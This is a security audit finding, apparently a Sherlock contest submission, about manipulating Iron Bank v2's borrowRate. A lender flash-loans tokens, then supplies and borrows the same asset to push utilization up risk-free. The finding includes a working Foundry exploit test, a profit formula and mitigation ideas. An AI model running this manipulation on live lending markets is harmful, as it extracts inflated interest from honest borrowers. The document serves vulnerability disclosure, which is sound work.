smiling_heretic

medium

# `borrowRate` can be manipulated in a way that's risk-free and profitable to a malicious lender

## Summary

Malicious lender can `supply` and then `borrow` back a huge amount of tokens from a single market.

The net effect of this action is increased `utilization` (and what follows increased `borrowRate`) for the market.

This action is free of risk of liquidation. It's because the asset is backed by the same asset so `collateralValue / debtValue` doesn't change with fluctuating `assetPrice` and decreases very slowly and predictably with interest accrual.

This action is often (depending on the initial state of the pool) guaranteed to be profitable for the malicious lender (profit from increased  `borrowRate` predictably outweighs loss from slow decrease of`supplyBalance / borrowBalance` with interest accrual).  


## Vulnerability Detail

For sake of simplicity, let's assume for now that:
1. the attacker (malicious lender) is the only user that supplied to the pool (let's say their`supplyBalance == 1000 tokens`)
2.  an honest borrower borrowed half of this supply (`borrowBalance == 500` tokens) 
3. `reserveFactor == 0` for this market

More realistic initial conditions of the attacked market will be discussed in the Proof of Concept section.

### Observation 1:
Nothing prevents the attacker from taking a large flash loan of `attackAmount` market tokens, then calling `ironBank.supply` with the borrowed tokens, then calling `ironBank.borrow` to get all tokens back and then repaying the flash loan. If `collateralFactor == 90%` then the attacker can do this with up to `9000` flash loaned tokens (to pass liquidity check).

### Observation 2:
This operation doesn't change `totalCash` of the market but it increases `totalSupply` and `totalBorrow` proportionally to `attackAmount`.

### Observation 3:
The formula for `exchangeRate` (it's the exchange rate between supply / Iron Bank tokens and underlying tokens) is [as follows](https://github.com/sherlock-audit/2023-05-ironbank/blob/9ebf1702b2163b55479624794ab7999392367d2a/ib-v2/src/protocol/pool/IronBank.sol#L810):

``` ((m.totalCash + m.totalBorrow) * 1e18) / totalSupplyPlusReserves;```

After the attack, `totalCash / totalBorrow` will become small (because `totalCash` stayed constant and `totalBorrow` was artificially increased by a lot).

When interest accrues, then `borrowIndex` and `totalBorrow` for the market and `borrowBalance` for each user, increase proportionally. Because now `totalCash` is now small, `exchangeRate` is basically proportional to `totalBorrow`. It follows that `supplyBalance (from attack) / borrowBalance` will stay (nearly) constant and equal to 1 on interest accrual.

In other words, additional interest from the supplied `attackAmount` tokens will (nearly) cancel out debt accrued from borrowing `attackAmount` tokens. This makes "cost" of the attack very small and under control.


### Observation 4:

Let's look at the formulas for `collateralValue` and `debtValue` in [`_getAccountLiquidity`](https://github.com/sherlock-audit/2023-05-ironbank/blob/9ebf1702b2163b55479624794ab7999392367d2a/ib-v2/src/protocol/pool/IronBank.sol#L1051-L1054)

As we can see, attacker's `collateralValue / debtValue` stays (nearly) constant and risk of liquidation is avoided because `supplyBalance` increases proportionally to `borrowBalance` on interest accrual as established in observation 3. 

It definitely doesn't change with `assetPrice` because it gets canceled out in division.

### Observation 5

Also, notice that `supplyBalance - borrowBalance > 0` because of the initial supply of `1000` tokens and it grows (nearly) proportionally to `borrowIndex` (interest accrual). This is how attacker gains money on the attack.

### Observation 6

The formula for utilization is [as follows](https://github.com/sherlock-audit/2023-05-ironbank/blob/9ebf1702b2163b55479624794ab7999392367d2a/ib-v2/src/protocol/pool/interest-rate-model/TripleSlopeRateModel.sol#L41):

``` utilization = (totalBorrow * 1e18) / (totalCash + totalBorrow); ```

Again, after the attack `totalCash` stays constant but `totalBorrow` increases by a lot. So utilization increases and, in fact, can be made very close to `1e18`.

`borrowRate` is a function of `utilization` and increases when `utilization` increases.

So after the attack, malicious lender will be earning much higher interest on their initial supply of `1000` tokens.


## Proof of Concept
`ib-v2/test/TestExploit.t.sol`

```solidity
// SPDX-License-Identifier: MIT

pragma solidity ^0.8.0;

import "forge-std/Test.sol";
import "./Common.t.sol";

contract ExploitTest is Test, Common {
    uint8 internal constant underlyingDecimals1 = 18; // 1e18
    uint8 internal constant underlyingDecimals2 = 6; // 1e6
    uint16 internal constant reserveFactor = 200; // 2%

    int256 internal constant market1Price = 1500e8;
    int256 internal constant market2Price = 200e8;
    uint16 internal constant market1CollateralFactor = 9000; // 90%
    uint16 internal constant market2CollateralFactor = 9000; // 90%

    uint256 internal constant baseRatePerSecond = 0.000000001e18;
    uint256 internal constant borrowPerSecond1 = 0.00000002e18;
    uint256 internal constant kink1 = 0.8e18;
    uint256 internal constant borrowPerSecond2 = 0.00000004e18;
    uint256 internal constant kink2 = 0.9e18;
    uint256 internal constant borrowPerSecond3 = 0.00000012e18;

    IronBank ib;
    MarketConfigurator configurator;
    CreditLimitManager creditLimitManager;
    FeedRegistry registry;
    PriceOracle oracle;
    TripleSlopeRateModel irm;

    ERC20Market market1;
    ERC20Market market2;
    IBToken ibToken1;
    IBToken ibToken2;

    address admin = address(64);
    address honestBorrower = address(128);
    address attacker = address(666);

    // ATTACK PARAMETERS
    uint256 honestBorrowerSupplyAmount = 10_000 * (10 ** underlyingDecimals2); // collateral in market 2
    uint256 otherLendersSupplyAmount = 200 * (10 ** underlyingDecimals1);

    uint256 honestBorrowAmount = 1000 * (10 ** underlyingDecimals1);
    uint256 attackerInitialSupplyAmount = 2000 * (10 ** underlyingDecimals1);

    uint256 attackAmount = 8 * attackerInitialSupplyAmount;
    uint256 attackerFlashLoanAmount2 = 10 * attackAmount;

    uint256 numDays = 14; // how long to accrue the interest

    function setUp() public {
        ib = createIronBank(admin);

        configurator = createMarketConfigurator(admin, ib);

        vm.prank(admin);
        ib.setMarketConfigurator(address(configurator));

        creditLimitManager = createCreditLimitManager(admin, ib);

        vm.prank(admin);
        ib.setCreditLimitManager(address(creditLimitManager));

        irm = createIRM(
            baseRatePerSecond,
            borrowPerSecond1,
            kink1,
            borrowPerSecond2,
            kink2,
            borrowPerSecond3
        );

        (market1, ibToken1, ) = createAndListERC20Market(
            underlyingDecimals1,
            admin,
            ib,
            configurator,
            irm,
            reserveFactor
        );
        (market2, ibToken2, ) = createAndListERC20Market(
            underlyingDecimals2,
            admin,
            ib,
            configurator,
            irm,
            reserveFactor
        );

        registry = createRegistry();
        oracle = createPriceOracle(admin, address(registry));

        vm.prank(admin);
        ib.setPriceOracle(address(oracle));

        setPriceForMarket(
            oracle,
            registry,
            admin,
            address(market1),
            address(market1),
            Denominations.USD,
            market1Price
        );
        setPriceForMarket(
            oracle,
            registry,
            admin,
            address(market2),
            address(market2),
            Denominations.USD,
            market2Price
        );

        configureMarketAsCollateral(
            admin,
            configurator,
            address(market1),
            market1CollateralFactor
        );
        configureMarketAsCollateral(
            admin,
            configurator,
            address(market2),
            market2CollateralFactor
        );

        deal(address(market1), admin, otherLendersSupplyAmount);
        deal(address(market1), honestBorrower, 2 * honestBorrowAmount);
        deal(address(market2), honestBorrower, honestBorrowerSupplyAmount);
        deal(address(market1), attacker, attackerInitialSupplyAmount);
    }

    function _setUpInitialSupplyAndBorrow() internal {
        // other lenders supply otherLendersSupplyAmount to the market
        vm.startPrank(admin);
        market1.approve(address(ib), otherLendersSupplyAmount);
        ib.supply(admin, admin, address(market1), otherLendersSupplyAmount);
        vm.stopPrank();

        // attacker supplies attackerInitialSupplyAmount to the market
        // this is the money they will get more yield from thanks to the attack
        vm.startPrank(attacker);
        market1.approve(address(ib), type(uint256).max);
        ib.supply(
            attacker,
            attacker,
            address(market1),
            attackerInitialSupplyAmount
        );
        vm.stopPrank();

        // honest borrower supplies collateral to some other market
        // and then borrows honestBorrowAmount from the attacked market
        vm.startPrank(honestBorrower);
        market2.approve(address(ib), honestBorrowerSupplyAmount);
        ib.supply(
            honestBorrower,
            honestBorrower,
            address(market2),
            honestBorrowerSupplyAmount
        );
        ib.borrow(
            honestBorrower,
            honestBorrower,
            address(market1),
            honestBorrowAmount
        );
        vm.stopPrank();
    }

    function _redeemAndRepayAferTheAttack() internal {
        // wait for the interest to accure
        for (uint i; i < numDays; i++) {
            fastForwardTime(86400);
            ib.accrueInterest(address(market1));
        }
        assertEq(ib.isUserLiquidatable(attacker), false);

        // honest borrower repays their debt (or gets liquidated)
        vm.startPrank(honestBorrower);
        market1.approve(address(ib), type(uint256).max);
        ib.repay(
            honestBorrower,
            honestBorrower,
            address(market1),
            type(uint256).max
        );
        vm.stopPrank();

        // attacker claims their profit from the attack (or just normal yield)
        // flash loan not really needed in the normal scenario here
        vm.startPrank(attacker);
        // take the flash loan
        deal(address(market1), attacker, attackerFlashLoanAmount2);
        // repay the (artificial) debt
        ib.repay(attacker, attacker, address(market1), type(uint256).max);
        // redeem the IronBank (supply) tokens for underlying asset
        ib.redeem(attacker, attacker, address(market1), type(uint256).max);
        // repay flash loan
        market1.transfer(address(1), attackerFlashLoanAmount2);
        vm.stopPrank();
    }

    function _manipulateUtilization() internal {
        vm.startPrank(attacker);
        // take flash loan
        deal(address(market1), attacker, attackAmount);
        // do the supply borrow for the same market
        ib.supply(attacker, attacker, address(market1), attackAmount);
        ib.borrow(attacker, attacker, address(market1), attackAmount);
        // repay flash loan
        market1.transfer(address(1), attackAmount);
        vm.stopPrank();
    }

    function testNormalScenario() public {
        assertEq(market1.balanceOf(attacker) / 1e18, 2000);
        _setUpInitialSupplyAndBorrow();

        // attacker does nothing

        // check utilization and borrowRate without attack
        uint256 totalCash = ib.getTotalCash(address(market1));
        uint256 totalBorrow = ib.getTotalBorrow(address(market1));
        assertEq(irm.getUtilization(totalCash, totalBorrow) / 1e16, 45);
        assertEq(irm.getBorrowRate(totalCash, totalBorrow), 10090909090);

        _redeemAndRepayAferTheAttack();
        assertEq(market1.balanceOf(attacker) / 1e18, 2010);
    }

    function testExploit() public {
        assertEq(market1.balanceOf(attacker) / 1e18, 2000);
        _setUpInitialSupplyAndBorrow();

        // attacker manipulates utilization and borrow rate
        _manipulateUtilization();

        // check utilization and borrowRate after the attack
        uint256 totalCash = ib.getTotalCash(address(market1));
        uint256 totalBorrow = ib.getTotalBorrow(address(market1));
        assertEq(irm.getUtilization(totalCash, totalBorrow) / 1e16, 93);
        assertEq(irm.getBorrowRate(totalCash, totalBorrow), 25087912087);

        _redeemAndRepayAferTheAttack();
        assertEq(market1.balanceOf(attacker) / 1e18, 2014);
    }
}
```


One can derive the general (with other lenders present, non-zero `reserveFactor`, non-zero `totalCash` after the attack) formula for the profit to the attacker. This formula is:


`profit = supplyBalance - borrowBalance - attackerInitialSupplyAmount`
`profit = (borrowIndexFinal / borrowIndexInitial - 1) * honestBorrowAmount - (exchangeRateFinal / exchangeRateInitial - 1) * otherLendersSupplyAmount  -  exchangeRateFinal * reservesFinal / 1e18`

As we can see, if `reserveFactor == 0` and the attacker is the only lender, then the profit for the attacker clearly increases with `attackAmount` (because `borrowIndexFinal / borrowIndexInitial` increases with `attackAmount`).

For non-zero `reserveFactor` and other lenders present, the formula becomes a bit more difficult to reason about but it's still easy to empirically find values for which the profit is larger than in the normal  (`attackAmount == 0`) scenario.

Even if the attack happens to be unprofitable (compared to the normal scenario) for an individual attacker for a certain pool, lenders can still collude and share costs of increasing `borrowRate` because they all benefit from it.


## Impact

The impact is more or less equivalent to adding a premissionless function `increaseBorrowRate(market, borrowAmount)` to the protocol.

Initial borrowers will have to pay unreasonably high interest rates on their loans until they figure out that something is wrong and stop using the protocol or until they got liquidated. It benefits malicious lenders and causes material loss of funds to borrowers.

More importantly, availability of this attack breaks the incentives of the protocol. The protocol will suffer from artificially high `borrowRate`s and `utilization`s close to 100%. The `borrowRate`s will be much higher than it would follow from market demand for borrowing particular assets and will cause borrowers to avoid the protocol.

The dynamic here will be probably as follows: some initial borrowers will get exploited by malicious lenders (if you can increase your APY for free, why wouldn't you?) and then borrowers will start avoiding the protocol.


## Code Snippet

https://github.com/sherlock-audit/2023-05-ironbank/blob/9ebf1702b2163b55479624794ab7999392367d2a/ib-v2/src/protocol/pool/interest-rate-model/TripleSlopeRateModel.sol#L41

## Tool used

Foundry, Wolfram Alpha

## Recommendation

Here are some ideas for mitigation:

1. Don't allow users to have both `userSupplies` and `userBorrows` in the same market.
2. Change the formula for utilization for something that isn't easily manipulated.

However, the mitigation requires some careful thinking in this case.
